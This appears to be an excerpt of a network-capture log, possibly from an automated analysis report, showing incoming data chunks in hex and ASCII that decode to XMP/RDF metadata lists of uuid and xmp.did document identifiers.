2022-07-20 17:09:02 UTC	8637	IN	Data Raw: 42 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 33 43 39 46 38 32 39 43 45 46 37 44 45 31 31 42 33 33 36 46 46 41 43 30 33 46 38 42 37 42 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 33 46 36 30 42 33 41 44 39 32 30 44 46 31 31 42 39 41 36 44 30 30 31 35 41 42 35 36 41 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 33 46 37 33 39 46 45 32 37 39 33 44 45 31 31 39 37 42 34 41 33 30 44 39 46 43 42 42 35 44 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 34 33 31 46 34 33 34 35 35 36 34 45 30 31 31 41 32 31 33 45 34 30 42 37 45 34 36 41 38 31 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 34 33 38 33 43 31 39 43 39 Data Ascii: BE</rdf:li> <rdf:li>uuid:33C9F829CEF7DE11B336FFAC03F8B7BD</rdf:li> <rdf:li>uuid:33F60B3AD920DF11B9A6D0015AB56AD6</rdf:li> <rdf:li>uuid:33F739FE2793DE1197B4A30D9FCBB5DD</rdf:li> <rdf:li>uuid:3431F4345564E011A213E40B7E46A817</rdf:li> <rdf:li>uuid:34383C19C9
2022-07-20 17:09:02 UTC	8653	IN	Data Raw: 35 46 43 35 33 39 42 44 45 30 31 31 39 36 36 44 39 41 41 34 36 46 33 43 31 30 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 37 42 45 46 33 36 43 42 30 39 34 44 45 31 31 38 30 37 39 46 33 42 30 32 34 46 41 34 38 41 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 37 44 42 36 32 36 42 41 31 44 44 34 43 34 42 20 39 37 39 31 32 45 43 44 39 34 42 37 31 46 45 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 38 30 31 39 38 34 42 46 39 39 45 44 44 31 31 38 41 30 44 39 37 32 41 38 33 32 36 42 34 33 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 38 31 30 31 39 39 38 38 46 31 42 31 31 44 41 41 37 34 31 42 34 41 41 30 31 31 41 43 35 39 41 3c 2f 72 64 66 3a Data Ascii: 5FC539BDE011966D9AA46F3C1044</rdf:li> <rdf:li>uuid:67BEF36CB094DE118079F3B024FA48A2</rdf:li> <rdf:li>uuid:67DB626BA1DD4C4B 97912ECD94B71FEC</rdf:li> <rdf:li>uuid:6801984BF99EDD118A0D972A8326B430</rdf:li> <rdf:li>uuid:681019988F1B11DAA741B4AA011AC59A</rdf:
2022-07-20 17:09:02 UTC	8669	IN	Data Raw: 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 38 32 31 33 39 32 34 41 39 43 39 45 30 31 31 41 41 35 35 41 30 36 35 46 38 41 32 33 39 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 38 36 42 31 41 46 32 36 38 43 42 45 30 31 31 42 33 46 45 44 32 34 38 33 31 38 34 38 46 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 38 41 46 41 37 41 41 45 46 30 46 45 32 31 31 38 38 45 46 39 32 43 33 41 46 34 46 41 44 42 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 38 42 34 34 31 46 38 31 41 46 43 45 32 31 31 39 30 34 41 39 41 39 31 45 38 45 31 37 43 37 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 38 45 33 37 32 46 46 34 42 46 35 Data Ascii: </rdf:li> <rdf:li>uuid:98213924A9C9E011AA55A065F8A23988</rdf:li> <rdf:li>uuid:986B1AF268CBE011B3FED24831848F59</rdf:li> <rdf:li>uuid:98AFA7AAEF0FE21188EF92C3AF4FADBB</rdf:li> <rdf:li>uuid:98B441F81AFCE211904A9A91E8E17C79</rdf:li> <rdf:li>uuid:98E372FF4BF5
2022-07-20 17:09:02 UTC	8677	IN	Data Raw: 45 33 30 31 36 45 31 31 31 41 43 30 45 42 43 44 30 34 37 43 39 41 34 39 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 33 30 37 45 36 45 34 43 36 34 31 45 30 31 31 41 38 30 44 44 36 34 39 38 43 45 37 46 43 39 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 33 35 36 46 38 39 35 44 43 45 45 31 31 44 41 38 44 46 46 46 46 39 36 31 33 46 38 45 30 38 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 33 41 36 45 38 36 34 35 39 46 44 44 46 31 31 42 32 43 33 46 33 42 44 39 33 46 42 31 42 37 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 33 42 45 44 35 32 36 43 34 32 41 44 44 31 31 39 43 43 42 39 36 41 33 43 36 39 46 43 39 45 44 3c 2f 72 64 66 3a 6c 69 3e 20 Data Ascii: E3016E111AC0EBCD047C9A497</rdf:li> <rdf:li>uuid:B307E6E4C641E011A80DD6498CE7FC9D</rdf:li> <rdf:li>uuid:B356F895DCEE11DA8DFFFF9613F8E08E</rdf:li> <rdf:li>uuid:B3A6E86459FDDF11B2C3F3BD93FB1B77</rdf:li> <rdf:li>uuid:B3BED526C42ADD119CCB96A3C69FC9ED</rdf:li>
2022-07-20 17:09:02 UTC	8693	IN	Data Raw: 46 41 34 45 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 31 39 31 41 42 36 45 37 38 35 31 31 31 45 31 42 42 37 41 38 35 33 45 43 46 45 42 31 43 32 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 31 45 38 42 36 31 43 38 35 31 36 31 31 44 41 41 42 32 38 42 37 43 32 30 39 33 43 36 34 31 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 32 31 39 35 39 35 39 38 32 38 35 45 31 31 31 41 36 32 32 44 35 34 45 45 39 39 35 46 39 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 32 33 38 37 33 39 44 41 38 41 43 45 30 31 31 41 38 46 44 43 35 37 39 46 44 44 44 35 43 36 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 32 33 41 30 44 43 Data Ascii: FA4EB</rdf:li> <rdf:li>uuid:F191AB6E785111E1BB7A853ECFEB1C28</rdf:li> <rdf:li>uuid:F1E8B61C851611DAAB28B7C2093C641F</rdf:li> <rdf:li>uuid:F21959598285E111A622D54EE995F927</rdf:li> <rdf:li>uuid:F238739DA8ACE011A8FDC579FDDD5C6C</rdf:li> <rdf:li>uuid:F23A0DC
2022-07-20 17:09:02 UTC	8709	IN	Data Raw: 69 3e 78 6d 70 2e 64 69 64 3a 30 31 46 43 30 33 39 36 31 36 32 30 36 38 31 31 39 35 46 45 43 43 44 45 33 35 30 43 36 42 37 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 63 65 31 34 62 31 2d 62 62 36 63 2d 34 38 32 33 2d 38 31 39 30 2d 35 39 33 65 33 39 61 36 65 62 35 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 30 36 36 31 33 30 30 45 32 30 36 38 31 31 38 43 38 45 42 38 36 37 37 31 35 37 32 41 46 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 31 37 45 45 35 35 39 36 30 35 31 31 45 30 41 39 45 31 43 30 34 41 42 34 46 35 30 30 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 31 37 45 45 35 39 39 Data Ascii: i>xmp.did:01FC03961620681195FECCDE350C6B74</rdf:li> <rdf:li>xmp.did:01ce14b1-bb6c-4823-8190-593e39a6eb58</rdf:li> <rdf:li>xmp.did:020661300E2068118C8EB86771572AF4</rdf:li> <rdf:li>xmp.did:0217EE55960511E0A9E1C04AB4F50020</rdf:li> <rdf:li>xmp.did:0217EE599
2022-07-20 17:09:02 UTC	8716	IN	Data Raw: 33 30 36 45 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 33 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 41 43 44 36 33 46 36 44 43 41 35 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 33 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 44 31 34 42 41 36 43 43 35 41 38 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 33 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 44 38 38 37 34 37 44 45 41 31 41 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 33 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 45 32 31 39 43 31 36 36 36 39 37 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 Data Ascii: 306E0E</rdf:li> <rdf:li>xmp.did:03801174072068119109ACD63F6DCA5F</rdf:li> <rdf:li>xmp.did:03801174072068119109D14BA6CC5A8C</rdf:li> <rdf:li>xmp.did:03801174072068119109D88747DEA1A7</rdf:li> <rdf:li>xmp.did:03801174072068119109E219C1666972</rdf:li> <rdf:li
2022-07-20 17:09:02 UTC	8732	IN	Data Raw: 78 6d 70 2e 64 69 64 3a 30 38 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 44 41 34 42 44 38 45 31 45 44 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 45 32 43 43 33 34 43 34 36 32 45 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 46 45 41 41 43 30 44 42 44 30 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 32 32 41 38 38 45 30 30 33 41 36 44 41 46 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 38 30 31 31 37 34 30 37 32 30 36 38 31 Data Ascii: xmp.did:08801174072068118083DA4BD8E1EDE5</rdf:li> <rdf:li>xmp.did:08801174072068118083E2CC34C462E8</rdf:li> <rdf:li>xmp.did:08801174072068118083FEAAC0DBD066</rdf:li> <rdf:li>xmp.did:0880117407206811822A88E003A6DAFF</rdf:li> <rdf:li>xmp.did:088011740720681
2022-07-20 17:09:02 UTC	8748	IN	Data Raw: 38 31 31 38 44 42 42 45 41 45 30 45 45 35 42 30 30 38 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 33 33 37 45 32 46 46 30 44 32 30 36 38 31 31 38 33 44 31 41 46 37 41 30 30 46 33 36 39 33 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 33 34 36 43 43 38 31 31 30 32 30 36 38 31 31 38 37 31 46 45 31 35 31 35 46 37 36 38 38 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 33 34 41 33 46 34 30 33 43 32 30 36 38 31 31 41 42 36 31 39 39 36 44 35 46 36 41 41 33 32 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 33 38 41 41 32 37 35 42 36 33 45 31 31 45 35 42 32 37 32 44 41 42 44 45 30 30 39 38 35 42 38 3c 2f 72 64 Data Ascii: 8118DBBEAE0EE5B008A</rdf:li> <rdf:li>xmp.did:1337E2FF0D20681183D1AF7A00F36933</rdf:li> <rdf:li>xmp.did:1346CC8110206811871FE1515F76887B</rdf:li> <rdf:li>xmp.did:134A3F403C206811AB61996D5F6AA328</rdf:li> <rdf:li>xmp.did:138AA275B63E11E5B272DABDE00985B8</rd
2022-07-20 17:09:02 UTC	8756	IN	Data Raw: 41 33 39 43 33 36 30 41 32 32 31 36 38 31 31 38 30 38 33 45 31 44 43 46 38 39 43 41 44 37 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 41 34 42 44 34 32 43 36 43 46 33 45 30 31 31 39 45 30 45 38 45 36 37 30 38 32 31 31 37 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 41 35 30 38 45 42 32 46 35 32 30 36 38 31 31 41 39 36 31 44 34 42 43 39 39 31 42 30 38 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 41 35 46 38 33 31 38 33 44 32 30 36 38 31 31 38 44 42 42 46 33 44 43 44 34 43 39 45 35 44 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 41 36 45 42 34 37 39 35 33 36 41 45 30 31 31 38 33 32 34 44 44 45 46 Data Ascii: A39C360A22168118083E1DCF89CAD76</rdf:li> <rdf:li>xmp.did:1A4BD42C6CF3E0119E0E8E6708211705</rdf:li> <rdf:li>xmp.did:1A508EB2F5206811A961D4BC991B08EA</rdf:li> <rdf:li>xmp.did:1A5F83183D2068118DBBF3DCD4C9E5D4</rdf:li> <rdf:li>xmp.did:1A6EB479536AE0118324DDEF
2022-07-20 17:09:02 UTC	8772	IN	Data Raw: 34 30 2d 32 31 66 39 64 35 61 37 38 31 65 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 39 31 46 44 38 45 41 37 31 32 36 36 38 31 31 38 32 32 41 39 45 34 31 38 46 34 35 35 43 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 39 32 31 32 36 30 30 43 35 42 42 45 35 31 31 38 44 38 38 46 31 33 34 34 39 43 46 41 31 34 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 39 33 62 62 61 33 38 2d 33 33 30 36 2d 34 39 61 37 2d 62 32 37 61 2d 65 61 62 61 39 34 35 64 61 64 62 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 39 34 35 45 46 30 46 38 31 32 30 36 38 31 31 38 30 38 33 43 37 45 39 41 42 30 44 33 33 32 41 3c 2f 72 64 Data Ascii: 40-21f9d5a781e4</rdf:li> <rdf:li>xmp.did:291FD8EA71266811822A9E418F455C5D</rdf:li> <rdf:li>xmp.did:29212600C5BBE5118D88F13449CFA143</rdf:li> <rdf:li>xmp.did:293bba38-3306-49a7-b27a-eaba945dadb9</rdf:li> <rdf:li>xmp.did:2945EF0F812068118083C7E9AB0D332A</rd
2022-07-20 17:09:02 UTC	8788	IN	Data Raw: 31 38 38 43 36 43 46 37 45 33 38 39 42 36 36 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 36 45 46 34 46 38 32 30 38 32 30 36 38 31 31 42 34 42 43 43 32 41 38 45 42 43 37 38 31 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 36 46 44 31 46 31 41 30 46 32 30 36 38 31 31 38 41 36 44 41 34 41 30 32 46 38 35 45 42 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 36 61 62 37 63 31 35 2d 34 33 35 65 2d 39 62 34 64 2d 39 36 65 62 2d 30 38 39 61 39 32 37 34 33 37 37 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 36 63 32 31 31 65 37 2d 62 63 34 36 2d 64 33 34 34 2d 38 62 63 61 2d 32 62 63 65 63 64 32 34 65 30 Data Ascii: 188C6CF7E389B6608</rdf:li> <rdf:li>xmp.did:36EF4F8208206811B4BCC2A8EBC78135</rdf:li> <rdf:li>xmp.did:36FD1F1A0F2068118A6DA4A02F85EB44</rdf:li> <rdf:li>xmp.did:36ab7c15-435e-9b4d-96eb-089a92743771</rdf:li> <rdf:li>xmp.did:36c211e7-bc46-d344-8bca-2bcecd24e0
2022-07-20 17:09:02 UTC	8796	IN	Data Raw: 3a 33 45 41 44 44 31 34 33 36 34 32 32 36 38 31 31 38 32 32 41 39 45 34 31 38 46 34 35 35 43 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 45 44 33 44 41 37 41 38 45 36 43 45 31 31 31 38 45 36 44 39 34 45 44 37 35 42 30 34 36 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 45 44 45 46 35 30 32 33 34 32 30 36 38 31 31 38 38 43 36 45 41 37 36 37 38 41 32 34 31 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 45 46 35 31 46 35 30 30 41 32 30 36 38 31 31 38 46 36 32 46 36 45 44 33 34 45 44 44 37 43 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 45 46 43 36 36 36 46 30 43 32 30 36 38 31 31 38 38 43 36 43 31 Data Ascii: :3EADD14364226811822A9E418F455C5D</rdf:li> <rdf:li>xmp.did:3ED3DA7A8E6CE1118E6D94ED75B04616</rdf:li> <rdf:li>xmp.did:3EDEF5023420681188C6EA7678A2413B</rdf:li> <rdf:li>xmp.did:3EF51F500A2068118F62F6ED34EDD7C7</rdf:li> <rdf:li>xmp.did:3EFC666F0C20681188C6C1
2022-07-20 17:09:02 UTC	8812	IN	Data Raw: 45 32 43 38 43 38 37 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 43 35 38 44 31 36 30 32 36 32 30 36 38 31 31 38 30 38 33 41 34 42 35 42 38 30 44 44 42 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 43 37 43 39 42 32 44 43 37 44 32 44 46 31 31 39 43 45 36 43 33 45 34 34 42 38 34 43 30 45 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 43 37 43 39 45 46 42 35 39 32 30 36 38 31 31 38 45 44 41 39 46 35 38 34 35 45 46 33 30 41 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 43 38 35 39 34 41 36 30 42 32 30 36 38 31 31 38 30 38 33 45 32 34 31 32 30 39 39 43 45 44 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a Data Ascii: E2C8C875</rdf:li> <rdf:li>xmp.did:4C58D160262068118083A4B5B80DDB63</rdf:li> <rdf:li>xmp.did:4C7C9B2DC7D2DF119CE6C3E44B84C0EB</rdf:li> <rdf:li>xmp.did:4C7C9EFB592068118EDA9F5845EF30AE</rdf:li> <rdf:li>xmp.did:4C8594A60B2068118083E2412099CEDA</rdf:li> <rdf:
2022-07-20 17:09:02 UTC	8828	IN	Data Raw: 46 34 32 31 37 46 39 35 42 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 41 38 38 37 43 39 31 37 39 32 32 36 38 31 31 38 32 34 42 38 31 46 46 41 38 42 33 42 43 35 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 41 39 31 46 33 43 45 32 32 32 30 36 38 31 31 41 42 30 38 38 42 33 46 44 35 37 44 30 31 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 41 43 35 45 42 31 43 36 45 38 30 31 31 45 31 41 31 33 42 38 43 31 42 34 45 30 33 41 33 41 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 41 45 44 41 34 37 36 41 45 32 30 36 38 31 31 38 32 44 34 43 45 42 42 36 42 31 30 43 37 43 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 Data Ascii: F4217F95B7</rdf:li> <rdf:li>xmp.did:5A887C9179226811824B81FFA8B3BC54</rdf:li> <rdf:li>xmp.did:5A91F3CE22206811AB088B3FD57D0168</rdf:li> <rdf:li>xmp.did:5AC5EB1C6E8011E1A13B8C1B4E03A3A3</rdf:li> <rdf:li>xmp.did:5AEDA476AE20681182D4CEBB6B10C7C6</rdf:li> <rd
2022-07-20 17:09:02 UTC	8836	IN	Data Raw: 64 3a 36 31 30 30 37 39 44 38 32 39 32 30 36 38 31 31 42 31 41 34 44 35 36 36 30 30 44 39 31 39 43 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 31 30 32 64 30 65 30 2d 63 34 34 62 2d 61 34 34 65 2d 61 61 39 65 2d 37 64 33 63 64 37 64 35 63 37 65 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 31 31 34 45 30 33 43 32 44 32 32 36 38 31 31 38 46 36 32 38 41 44 34 44 36 35 30 34 31 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 31 32 36 45 32 43 46 33 39 41 41 45 31 31 31 39 39 35 36 39 39 38 33 44 32 42 41 44 44 36 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 31 33 34 42 46 31 38 33 35 32 30 36 38 31 31 39 Data Ascii: d:610079D829206811B1A4D56600D919C7</rdf:li> <rdf:li>xmp.did:6102d0e0-c44b-a44e-aa9e-7d3cd7d5c7ec</rdf:li> <rdf:li>xmp.did:6114E03C2D2268118F628AD4D6504187</rdf:li> <rdf:li>xmp.did:6126E2CF39AAE11199569983D2BADD61</rdf:li> <rdf:li>xmp.did:6134BF18352068119
2022-07-20 17:09:02 UTC	8852	IN	Data Raw: 62 30 30 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 65 37 31 65 36 37 37 2d 66 61 37 30 2d 34 36 34 34 2d 61 62 32 64 2d 39 61 66 66 33 63 63 33 34 34 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 65 38 31 66 38 64 36 2d 66 31 64 39 2d 34 39 63 38 2d 38 38 65 32 2d 62 65 32 32 36 30 36 30 32 64 39 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 65 62 61 32 36 33 64 2d 65 35 62 35 2d 65 32 34 35 2d 62 35 33 63 2d 63 36 64 62 34 37 31 62 63 64 65 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 65 62 64 31 31 64 34 2d 35 36 65 35 2d 32 33 34 34 2d 61 38 36 63 2d 35 30 37 62 36 38 65 61 38 36 62 38 3c 2f 72 Data Ascii: b00e</rdf:li> <rdf:li>xmp.did:6e71e677-fa70-4644-ab2d-9aff3cc34488</rdf:li> <rdf:li>xmp.did:6e81f8d6-f1d9-49c8-88e2-be2260602d9a</rdf:li> <rdf:li>xmp.did:6eba263d-e5b5-e245-b53c-c6db471bcdee</rdf:li> <rdf:li>xmp.did:6ebd11d4-56e5-2344-a86c-507b68ea86b8</r
2022-07-20 17:09:02 UTC	8868	IN	Data Raw: 66 2d 39 61 30 66 62 39 36 36 31 31 38 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 61 33 36 36 63 66 62 2d 64 64 65 63 2d 34 65 31 32 2d 38 64 66 37 2d 64 36 34 64 61 30 37 36 61 31 34 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 61 34 39 62 37 36 62 2d 30 36 30 32 2d 37 39 34 66 2d 61 34 36 36 2d 31 64 63 32 64 34 32 39 33 61 62 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 61 35 35 31 38 33 37 2d 33 63 65 66 2d 35 38 34 34 2d 61 38 38 37 2d 64 63 37 39 31 33 38 34 39 35 31 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 62 31 30 35 64 64 33 2d 61 64 37 63 2d 34 36 38 62 2d 39 61 31 39 2d 38 62 66 65 36 Data Ascii: f-9a0fb966118c</rdf:li> <rdf:li>xmp.did:7a366cfb-ddec-4e12-8df7-d64da076a147</rdf:li> <rdf:li>xmp.did:7a49b76b-0602-794f-a466-1dc2d4293abf</rdf:li> <rdf:li>xmp.did:7a551837-3cef-5844-a887-dc791384951f</rdf:li> <rdf:li>xmp.did:7b105dd3-ad7c-468b-9a19-8bfe6
2022-07-20 17:09:02 UTC	8875	IN	Data Raw: 45 34 35 45 35 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 35 31 34 35 39 42 30 39 31 32 32 36 38 31 31 41 44 33 39 42 31 41 36 39 43 31 32 37 46 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 35 32 35 38 41 44 35 31 38 32 30 36 38 31 31 42 34 42 43 43 32 41 38 45 42 43 37 38 31 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 35 33 44 36 39 45 30 31 41 32 30 36 38 31 31 38 32 32 41 43 30 33 41 31 31 41 43 37 31 42 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 35 33 65 37 37 38 62 2d 62 66 30 66 2d 34 30 62 34 2d 39 30 36 35 2d 66 33 65 62 61 38 66 39 63 38 39 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 Data Ascii: E45E581</rdf:li> <rdf:li>xmp.did:851459B091226811AD39B1A69C127F67</rdf:li> <rdf:li>xmp.did:85258AD518206811B4BCC2A8EBC78135</rdf:li> <rdf:li>xmp.did:853D69E01A206811822AC03A11AC71BC</rdf:li> <rdf:li>xmp.did:853e778b-bf0f-40b4-9065-f3eba8f9c895</rdf:li> <r
